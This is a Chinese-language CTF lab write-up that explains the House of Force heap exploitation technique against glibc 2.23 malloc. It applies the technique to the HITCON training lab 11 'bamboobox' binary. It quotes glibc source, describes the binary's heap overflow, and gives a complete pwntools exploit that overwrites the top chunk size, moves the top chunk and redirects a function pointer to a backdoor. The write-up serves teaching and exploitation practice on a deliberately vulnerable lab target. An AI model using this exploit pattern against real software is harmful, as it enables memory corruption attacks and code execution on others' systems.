House_force(HITCON training lab 11)

本文最后更新于 2024年11月18日 晚上

House_force(HITCON training lab 11)

原理

House of Force是一种堆利用方法,一个堆想要通过House of Force利用需要以下条件

  • topchunk的size域可以控制
  • 能够自由控制堆分配的大小

我们知道进行堆分配的时候,如果空闲块无法满足需求,就会从top chunk中分割出对应大小的堆块空间

下面是glibc对top chunk的验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

如果我们可以把size域改成一个非常大的数就可以进入这个if语句,一半把大小改成-1即可

1
2
3
4
5
6
remainder      = chunk_at_offset(victim, nb);
av->top = remainder;

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))

这里会把top指针重新根据申请堆块的大小重新分配,如果我们能够控制这个remiander,就能实现地址任意写

于此同时,topchunk的size域也会更新,更新方法如下

1
2
3
4
victim = av->top;
size = chunksize(victim);
remainder_size = size - nb;
set_head(remainder, remainder_size | PREV_INUSE);

所以,如果我们想要下次在指定位置分配大小为 x 的 chunk,我们需要确保 remainder_size 不小于 x+ MINSIZE。

HITCON training lab 11

show函数

这是一个打印函数,很正常,没什么好说的

add函数

这是创建堆块的函数,输入大小和内容创建,并把堆块指针存在unk_6020c8

chang函数

这是一个对已有堆块的编辑函数,可以看到这里可以重新输入编辑内容的大小,存在堆溢出漏洞

remove函数

这是一个堆块的释放函数,删的很干净,什么也没留下

goobye_message

这是在退出循环后执行的函数,会执行两句话

magic函数

这里给了一个后门

思路

因为存在堆溢出,可以覆盖top_chunk的size域,并且malloc分配可以自由控制大小,那么我们就可以进行house_force

首先先溢出覆盖size域

1
2
3
add(0x30,"ddaa")
payload=b'a'*0x30+b'a'*8+p64(0xffffffffffffffff)
change(0,0x41,payload)

在程序中,专门为goobye_message函数和hello_message函数创建了一个堆来存放函数地址

因为goobye_message是在程序退出后执行,那么思路就有了,如果把这两个地址覆盖成后门地址,那程序的最后执行的就是拿flag的函数

接着就是把top_chunk的指针指向0x95700

1
2
3
4
offest=-(0x40+0x20)
malloc_size=offest-0x10
add(malloc_size,"daad")
add(0x10,p64(magic)*2)

因为正常的申请后top_chunk指针的变化是这样的

top_chunk=原top_chunk+申请大小+0x10(pre_size和size),那么要把top_chunk指针往前走,自然要-0x10

可以看到此时的top_chunk指向了0x95700,大小为0x58,那么我们申请一个小于0x58大小的chunk就可以对覆盖掉两个message函数的指针了

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import*
io=process('./bamboobox')
libc=ELF('/home/joker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def show():
io.recvuntil("Your choice:")
io.sendline('1')

def add(size,name):
io.recvuntil("Your choice:")
io.sendline('2')
io.recvuntil("Please enter the length of item name:")
io.send(str(size))
io.recvuntil("Please enter the name of item:")
io.send(name)
def change(idx,size,name):
io.recvuntil("Your choice:")
io.sendline('3')
io.recvuntil("Please enter the index of item:")
io.send(str(idx))
io.recvuntil("Please enter the length of item name:")
io.send(str(size))
io.recvuntil("Please enter the new name of the item:")
io.send(name)
def remove(idx):
io.recvuntil("Your choice:")
io.sendline('4')
io.recvuntil("Please enter the index of item:")
io.send(str(idx))
magic=0x400d49
add(0x30,"ddaa")

payload=b'a'*0x30+b'a'*8+p64(0xffffffffffffffff)
change(0,0x41,payload)
#gdb.attach(io)
#pause()
offest=-(0x40+0x20)
malloc_size=offest-0x10
add(malloc_size,"daad")
add(0x10,p64(magic)*2)
io.sendline('5')
#gdb.attach(io)
#pause()
io.interactive()

参考文章

ctfwiki-House Of Force

House Of Force


House_force(HITCON training lab 11)
http://example.com/2024/11/18/house-force/
作者
清风
发布于
2024年11月18日
许可协议